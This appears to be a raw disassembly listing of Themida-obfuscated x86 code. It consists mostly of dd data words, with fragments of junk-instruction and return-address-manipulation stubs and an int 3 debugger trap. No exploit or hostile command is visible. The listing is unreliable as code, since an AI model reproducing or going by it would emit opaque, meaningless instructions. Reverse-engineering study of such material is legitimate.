5E5F0608h, 0F04C1F6h, 0B184h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 7119BEA8h, 8E8C9684h, 0FE80867h, 0CC000000h, 96AE1985h dd 13181606h, 74959BE5h, 0B503892Ch, 6121AC5h, 3595FF5Fh dd 8B061201h, 122AC5BDh, 0C32B5B06h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9CC35040h, 1EAC7286h, 172320BBh dd 1A31BD89h, 343D0612h, 0F000008h, 2D86h, 598D0900h, 0E9061216h dd 24h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 8DC35040h, 0FD42D73h, 0C08BF0B7h dd 0D88BC38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0A7C35242h, 51D85C7h, 0CB370612h, 0BD891014h, 61200ADh dd 49D88060h, 6AC08B61h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 3AFCC351h, 0CCA95BF0h dd 1449BD81h, 7D00612h, 850F0000h, 45h, 0CE9h, 6ADC2300h dd 89988A8Dh, 9058CC8Fh, 4985FFF3h, 6A061214h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0B89C352h, 0A8C0F91h, 60000000h, 0D991CB81h, 0F98B38FBh dd 49B5FF61h, 89061214h, 12146595h, 0CD95FF06h, 6A061219h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 9A99C351h, 1BA5BD8Bh, 8B660612h, 6A90F8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89A35DC3h, 12025DB5h, 0F8BF0F06h, 6AFB8B66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0E897C350h, 6676CA2Ah, 6697A3BFh, 669255BEh, 0E946EF81h dd 0E2DB58Bh, 0F78B0612h, 21A19D89h, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1C4CE5C3h dd 0EA1FE4ABh, 8D89185Dh, 6120521h, 14E960h, 873E0000h dd 807C064Ch, 1B53BFF1h, 0B6D34D05h, 6F976D0Dh, 0B58BF446h dd 6121A29h, 0BD8BFC61h, 612064Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 1CC35141h, 0C702EF3Ch, 319589E9h dd 2906122Eh, 122C5585h, 0F1B58B06h, 5206122Fh, 5EF6BF0Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ADC35545h dd 0F8D4E984h, 14E8FFFFh, 6C000000h, 0C53EFD42h, 13710ECCh dd 93A62B0Ch, 67D609h, 8B2BE5A3h, 12102DBDh, 0C5BD8B06h dd 5E061217h, 8166C18Bh, 0EB235DD7h, 4, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 631A1D67h, 0CEBE6656h, 858D5FB1h, 6122E01h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 64C35747h, 2FFD9D89h dd 60500612h, 800Fh, 45BF0000h, 61105B89h, 52240489h, 5EF6B70Fh dd 0AE9006Ah, 6F000000h, 8D4D4734h, 3C677223h, 2B006A88h dd 1206D5BDh, 77858D06h, 6A061601h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 92A9C350h dd 645C8F99h, 0C0839FCCh, 299D0905h, 50061223h, 0EE8h dd 7BD7EA00h, 0E93644E2h, 1DC4A54Ah, 5F683D29h, 0E9240489h dd 0Bh, 0F2256A44h, 6F05EDB8h, 6A490484h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0A58143CFh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 95FFBFC3h, 6120DB5h, 8C58D31h, 9D8D0612h dd 615AF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0F1C35747h, 0B48D448Fh, 0D3FF5E56h, 30C1BD8Bh dd 85FF0612h, 6120679h, 3850Fh, 0B70F0000h, 993E9FEh, 0E80000h dd 5D000000h, 181ED81h, 6A0616h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0D83A94C3h, 49BD81B1h dd 0D0061214h, 0F000007h, 12086h, 0CFF68100h, 8B276D88h dd 1203ED9Dh, 12DF8106h, 81025EC8h, 100E3h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 5DBD8BA8h, 8B061222h, 12025DBDh, 0FDB0B06h, 0A185h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 97E1DECFh, 0EE816613h, 0BD83678Eh, 6160013h dd 17840F00h, 0E9000000h, 7, 308A1550h, 0E919D1BEh, 68h dd 241BD8Bh, 85C70612h, 6160013h, 1, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 71C35646h, 0E1E74670h, 0A195893Eh dd 0E9061217h, 2Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 91C35343h, 30EDB58Bh, 85C70612h, 6160013h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+61203EDh] and si, 0A627h mov di, 0C634h and dword ptr [ebx], 0FFFFFEFFh jmp loc_586CED ; --------------------------------------------------------------------------- push esp mov [edx-597C195Eh], bh cmp edi, [ebx] db 3Eh jnp short loc_586D61 xchg dl, [edi+396EAB5Eh] push ss loc_586CED: ; CODE XREF: Themida_:00586CD5j mov bx, ds push 0 push edi call sub_586CFB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586CFB proc near ; CODE XREF: Themida_:00586CF3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_586CFB endp ; --------------------------------------------------------------------------- cmp [ebp-76727620h], cl xor [edx], dl push es test bl, 4 jz loc_586DA4 push 0 push edx call sub_586D28 ; CODE XREF: Themida_:loc_586D97j and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586D28 proc near ; CODE XREF: Themida_:00586D20p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_586D28 endp ; --------------------------------------------------------------------------- dd 0BEB36144h, 0E09FA3F2h, 95FF4BD1h, 6120135h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh ; --------------------------------------------------------------------------- inc edx loc_586D61: ; CODE XREF: Themida_:00586CE3j push edx retn ; --------------------------------------------------------------------------- ror ebx, 87h jnb short loc_586D97 sub eax, 0B58B4B58h sub eax, 50061201h mov si, di mov [esp], eax push 0 push eax call sub_586D83 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586D83 proc near ; CODE XREF: Themida_:00586D7Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_586D83 endp ; --------------------------------------------------------------------------- db 0D7h db 73h, 7Fh, 0Ch ; --------------------------------------------------------------------------- loc_586D97: ; CODE XREF: Themida_:00586D66j ja short near ptr loc_586D20+2 mov ch, 0E9h pop ds adc al, [esi] mov [ebp+61219C9h], ebx loc_586DA4: ; CODE XREF: Themida_:00586D17j jmp loc_5872CA ; --------------------------------------------------------------------------- push 0 push eax call sub_586DB4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586DB4 proc near ; CODE XREF: Themida_:00586DACp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_586DB4 endp ; --------------------------------------------------------------------------- mov ecx, 97E4E3A2h pushf mov al, 0 push 0 push ebx call sub_586DD7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586DD7 proc near ; CODE XREF: Themida_:00586DCFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_586DD7 endp ; --------------------------------------------------------------------------- db 92h dd 312A6908h, 0F5AD306Fh, 0B189BF66h, 6A70E6h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 953168C3h, 6121CC9h, 8F0F71E4h, 15h, 10E9h, 421C5500h dd 6F8A5A4Dh, 0D701E33h, 2627DB77h, 0D8B60FE1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 36C35545h, 6BAh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0C1F14A7Dh, 8BBEF7F3h, 121AE5BDh, 0F5C38B06h dd 105B58Bh, 0E8C10612h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0E2F76635h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 0F27C38ADh dd 0D5B22849h, 0D82BF18Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0FBC35747h, 494FBBDBh, 1A55BD8Bh, 0E9600612h dd 0Ah, 979ED2C7h, 0A58DC7A6h, 0CE80A4CDh, 0E850618Bh dd 13h, 5EACB2E9h, 12140152h, 28957727h, 86A82B8Eh, 5FD001F6h dd 0FF241C89h, 121449B5h, 858B6006h, 6122D71h, 230D8589h dd 0F610612h, 8Dh, 0CD95FF00h, 6A061219h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 49E7C352h dd 0F85CD10Bh, 1E75BD33h, 0B00612h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 19C35040h, 6A70E6h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0B0024EC3h, 0DE908DE8h, 7E9387Ch, 41000000h, 7A6574Dh dd 9D0990F6h, 6122D85h, 8E971E4h, 33000000h, 76680CE2h dd 3C599DDDh, 0EB830F61h, 8B000002h, 12005DBDh, 0D8B60F06h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 42C35747h dd 4120E95Ch, 0CD99C0C3h, 6BAD0h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F5AC3FC3h dd 313A1FF4h, 0BD8B511Fh, 6121EE9h, 0B533C38Bh, 612000Dh dd 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0BE3EC355h, 71BD8B57h, 23061205h dd 1211DDB5h, 0E2F76606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 1FC35545h, 2B77E5B7h, 57006AD8h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 6FF1D0F5h, 55BD8B70h, 66061202h, 6C86C781h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 76AE3916h, 0BD8B32CBh, 6122F35h, 880FD82Bh, 1DAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 12C35646h, 176B94A6h dd 5610DEDCh, 58C0F99h, 66000000h, 5D9BD781h, 0C8DB58Bh dd 7B90612h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0BDAC357h, 121B51B5h dd 21BD8B06h, 8306122Ah, 6A00C1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 8B494EC3h, 1234E9B5h dd 0FD93B06h, 14986h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 45BD8B22h, 66061220h dd 66FDB5BFh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0A4BAD2C3h, 925FF4B5h, 8913BC3Fh dd 121769BDh, 4C1F606h, 0AF840Fh, 8D890000h, 61204E5h dd 13595FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E97507C3h, 0Fh, 0B77DEF1Dh, 6A0AB4B3h dd 0CCEE76CBh, 0F09B0E9h, 1588h, 10E900h, 31AC0000h, 0C9DC1879h dd 0FE213033h, 957B00CFh, 6A5BB954h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A3AC350h dd 0E823E30h, 6830F8Fh, 29000000h, 1209DD95h, 29C32B06h dd 1223458Dh, 8343D06h, 860F0000h, 15h, 0B307C3BFh, 48E903h dd 0AABE0000h, 8B2D7EE9h, 1209B5BDh, 6AC08B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 6DA7C357h, 7E91DF9h, 62000000h, 302B3626h, 0BE99BA9h dd 78000000h, 0A8E040D6h, 2856D165h db 39h, 78h ; --------------------------------------------------------------------------- loc_5872CA: ; CODE XREF: Themida_:loc_586DA4j mov eax, ebx mov ebx, eax push 0 push ebx call sub_5872D9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5872D9 proc near ; CODE XREF: Themida_:005872D1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5872D9 endp ; --------------------------------------------------------------------------- db 0D9h, 2Fh, 0B3h dd 0E1663E2Ch, 0C776B48Fh, 121CB185h, 0CC3F7106h, 9DBD295Eh dd 89061203h, 1221E595h, 6AC08B06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 81AFC356h dd 976838F7h, 49BD816Eh, 0D0061214h, 0F000007h, 4685h dd 69B58B00h, 0FF06120Eh, 12144985h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 69986AF9h dd 14880F5Ah, 0E9000000h, 0Fh, 0C7228A2Fh, 0DF55E4C9h dd 3C0E311Bh, 0FF7C3B61h, 121449B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0E37C5733h dd 89E41F5Eh, 1219459Dh, 0CD95FF06h, 6A061219h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0EA47C357h, 5EBF2D95h, 9012782Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0EBC35141h, 0FA77D699h, 0BF0FE36Fh dd 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 899B2083h, 12101185h, 7E806h, 40C60000h dd 1D30FF70h, 0C595297Dh, 6606122Bh, 6A5FF18Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8B8FC352h, 120669B5h, 0BD2B5606h, 61222D5h, 56006A5Fh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0F7A54F47h, 0B0BF66D0h, 998D8928h, 0BE061201h, 156FA6FFh dd 0FF0BF0Fh, 8C0FFAB7h, 0Ch, 264DB503h, 0BD8B0612h, 6120591h dd 2E09B58Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0F1BE7DC3h, 8935A996h, 12269985h dd 818D8906h, 0E9061205h, 0FFFFF6AEh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 6FC35747h, 48DF0CC7h, 88ED4D27h dd 4F59D29h, 8B660612h, 61BD8BFAh, 0F06121Dh, 883h, 2830F00h dd 8B000000h, 0EBC18BF7h, 4, 50CE8100h, 0E963F0D0h, 7 dd 0D3EE8780h, 813A14A9h, 9951EAD6h, 1858D55h, 8B06122Eh dd 122C61B5h, 0E59D3106h, 50061206h, 61F18B60h, 6A240489h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 89802478h, 69B58B87h, 6A061207h, 0CE816600h dd 858D94A9h, 6160CC9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 89C35242h, 75C08F4Dh, 0C0837BDFh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BA3DB36Eh, 0E990F605h, 0Fh, 0FD8B5E77h, 8749BB4Dh dd 29A74D11h, 50B94307h, 8B665250h, 5A310FFBh, 6A9058h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BDCE1C3h, 6D9D09F9h, 6A06121Dh, 6A006A00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 75F5C356h, 95FF68F2h, 6120DB5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 12C35343h, 0B8E2E731h, 9D8DECFDh dd 615AF02h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0B4C35040h, 0F2C0167Eh, 0FF9208C5h, 51006AD3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0CC24341Eh, 0E0C08DFh, 0FFF9F4B1h, 12067985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E90D978Bh, 8AFh, 0E8h, 0ED815D00h, 6160CD3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A6C35242h, 0DB6A3ADEh dd 4800Fh, 0BF660000h, 0BD8167D3h, 6121449h, 7D0h, 142860Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 1541FAC3h, 50198781h, 0CCC9BE66h, 0D19D8B5Eh dd 81061218h, 100E3h, 800F6000h, 3, 0B0EEC080h, 0DB0B6119h dd 0A7850Fh, 10E90000h, 7E000000h, 351AD7C3h, 0D42E3438h dd 32BF8A0Ah, 832904E4h, 160B13BDh, 840F0006h, 4Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0B6C35040h, 73E92Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0E9736C3h, 218DBD09h, 0B58B0612h, 6121009h dd 0B1385C7h, 10616h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 8536F8C3h, 5999589h dd 16E90612h, 89000000h, 1218F1BDh, 1385C706h, 6160Bh dd 0F000000h, 83h, 0D19D8D00h, 66061218h, 2381F28Bh, 0FFFFFEFFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F1C35141h dd 0E9FE0BA0h, 10h, 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh dd 0FDB8C66h, 887h, 0B5896000h, 6121231h, 4C3F661h, 58840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0AE749FC3h, 0FF85454Bh, 12013595h, 15B58906h dd 50061231h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 33E0C355h, 0F95A12B9h dd 1535BD8Bh, 8BE90612h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C118C357h dd 294407D4h, 121C3D95h, 6A00B006h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0D9AC355h dd 89BE9809h, 0E970E6A5h, 14h, 6599A8A4h, 0EFE27CC8h, 0D18ABC08h dd 0E0CEE74Dh, 655F3D36h, 820F71E4h, 0Ch, 7E9h, 0F4DB5600h dd 6C724615h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0A698C353h, 5BC4BBF2h dd 0A531400Dh, 0BAF08B66h, 6, 29BD8BF9h, 8B061218h, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 11E825h, 655B0000h, 0BBDA97A2h, 0F65E62Ch, 0A36AD23Bh dd 29B20417h, 1209DDB5h, 0E8C15F06h, 66F28B04h, 6AE2F7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 661490C3h, 2B8D9ABEh, 0ADB523D8h, 9306120Ch, 11E8h dd 814C7800h, 0B0EC698h, 7D286FCh, 0AB84962h, 0B260B6B6h dd 0F52501Ah, 61585A31h, 0AE8505Eh, 0AF000000h, 0FDB3AE4Ch dd 2CE1C5E5h, 0CB7CBEE4h, 935F13CFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0F6C35646h, 0CCB17624h, 1DE62DAh dd 12068D9Dh, 49B5FF06h, 6A061214h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 111EC352h dd 0DDB529A6h, 0FF06122Ah, 1219CD95h, 0F98B6606h, 6A00B0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 10D82C3h, 0B504F03Dh, 0E8D76BD4h, 5, 0DDB38E20h, 81666038h dd 0F8D998E2h, 6E85F61h, 9F000000h, 3D1D708Eh, 45B53174h dd 5F061213h, 6A70E6h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2569BC3h dd 0E7E71C68h, 9D892408h, 6121941h, 6A71E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 613C16C3h dd 23C830Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0C51A07C3h, 1C2DB589h, 0B60F0612h dd 0F7BF0FD8h, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 376DADF8h, 2675B50Bh dd 0C38B0612h, 15FDB58Bh, 0E8C10612h, 56006A04h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4811682Dh, 8B60EC59h, 120521BDh, 3BCB8106h, 6136E52Ch dd 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 888CC356h, 0BDBF66E2h, 6AD82B8Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 7E8C356h, 8B9F5C98h, 6A58F9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0E699DBC3h dd 3FFAA7C8h, 0F7B3294h, 810FF7BFh, 6, 7A5BD8Bh, 0D82B0612h dd 128880Fh, 14E90000h, 79000000h, 0EBF02A8Eh, 0D8B31B91h dd 0E8EEDAD0h, 77C700ABh, 0B9B01335h, 7, 83F98B66h, 6A00C1h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0F76C32C3h, 0A7DEDD11h, 66879F20h, 83F8F781h, 860FD93Bh dd 0D2h, 3870Fh, 0BF0F0000h, 0D98C66F7h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1DC35343h, 4B94C68Eh dd 0F6779D1Bh, 840F04C1h, 76h, 13595FFh, 6A0612h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 3EAF77C3h, 5B064C87h, 2A3AEE81h, 0C32B6315h, 3DF6BF0Fh dd 834h, 38860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0F96DA7C3h, 89344C1Dh dd 12050185h, 30E906h, 81600000h, 80F202CBh, 29BA6645h dd 0C08B61FDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 25C35545h, 3018BF49h, 0C38B070Ah, 0FE9D88Bh, 88000000h dd 0F562BB50h, 6383794Ah, 459362E1h, 880FA01Dh, 2, 85C7FE8Bh dd 61203EDh, 76B727DBh, 2041B589h, 0C08B0612h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 74C35040h, 0BD8BBA9Bh dd 61218C5h, 12F58589h, 0BD810612h, 6121449h, 7D0h, 3F850Fh dd 8D0F0000h, 0Fh, 0AE9h, 0E271CF00h, 417C7D52h, 0FF115987h dd 12144985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0E1066BFh, 8B150BEDh, 49B5FFF2h dd 6A061214h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0D3A6C356h, 983BF21h, 5F940A66h dd 2BE19D31h, 95FF0612h, 61219CDh, 90EBC7BFh, 6A9074h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 13CB1DC3h, 871434CEh, 5E9h, 37996A00h, 8D89CB5Eh, 6121925h dd 2AC5B58Bh, 0D7810612h, 76636B02h, 4858EE81h, 81660CDFh dd 6A3609D7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 41A2C350h, 6A9BD33h, 8B660612h dd 0F1B70FF3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 63C35141h, 625F44D1h, 0BFD3BF71h, 578AD7B3h, 8B0Fh dd 8D890000h, 6121D7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 97C35141h, 0AD74F4ECh, 6688F071h, 6800Fh dd 0B50B0000h, 61205A9h, 17C9BD8Bh, 0BFFC0612h, 38143FF5h dd 0FDDC33BEh, 52006A50h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 661B1AE5h, 4880F781h dd 9E9h, 5DF72800h, 0FF290F43h, 71E9D5F3h, 6AFFFFF7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0E5BDC356h, 8B181885h, 52006AC1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 7E9CCE7h, 59000000h dd 6F2262F6h, 4EB979Bh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_587FCF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587FCF proc near ; CODE XREF: Themida_:00587FC7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_587FCF endp ; --------------------------------------------------------------------------- db 0F4h dd 4F4DC90Eh, 8F528ABFh, 0FD9D3115h, 9061222h, 121115B5h dd 0F7BF6606h, 1858D93h, 8B06122Eh, 1201B1BDh, 0E8605006h dd 14h, 0D03891B6h, 0A182437Ah, 8C8A392Ah, 68BEE922h, 67EA69C8h dd 310F5250h, 605E585Ah, 9E8h, 84F6E300h, 96B73A9Dh, 6158B26Dh dd 24048961h, 830F006Ah, 6, 26C58D29h, 6A0612h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D4C35242h, 30F3AC5h dd 1203C5B5h, 0BC858D06h, 89061617h, 1213F985h, 5C08306h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 45C35141h dd 0BBFE7529h, 90F78B40h, 6E950h, 92BD0000h, 0FE972645h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 6ED57299h, 0F88B006Ah, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0F947B0C3h, 0C2565B97h, 0F9C471Dh, 68Bh, 7DB58B00h dd 0FF061210h, 120DB595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8D896046h dd 6121DD1h, 6860Fh, 95890000h, 61204D5h, 29D8D61h, 6A0615AFh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 4A07C352h, 0BF0FFC93h, 6AD3FFF1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 60F4C351h, 0D9D29h, 8D890612h, 6122629h, 0B58B6061h dd 6123145h, 61CFB70Fh, 67985FFh, 6A0612h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 97970C3h dd 0D688C04Ch, 0EE814190h, 7C0360Fh, 0FA7AD781h, 35E95699h dd 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 61617C6h push 0 push edi call sub_5881EE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5881EE proc near ; CODE XREF: Themida_:005881E6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5881EE endp ; --------------------------------------------------------------------------- dw 8D81h ; --------------------------------------------------------------------------- scasd push esp or esi, [edx-7] jnp loc_588225 call sub_58821E mov ebp, 0E8073EAh popf int 3 ; Trap to Debugger mov byte ptr [edx+6Ch], 6Fh test [edx+52h], ebx ; =============== S U B R O U T I N E ======================================= sub_58821E proc near ; CODE XREF: Themida_:0058820Bp ; FUNCTION CHUNK AT 0058835C SIZE 0000000E BYTES mov esi, [ebp+61217A1h] pop edi loc_588225: ; CODE XREF: Themida_:00588205j cmp dword ptr [ebp+6121449h], 7D0h jbe loc_58835C push 0 push ecx call sub_588240 and [ecx-3Dh], bl sub_58821E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_588240 proc near ; CODE XREF: sub_58821E+1Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add 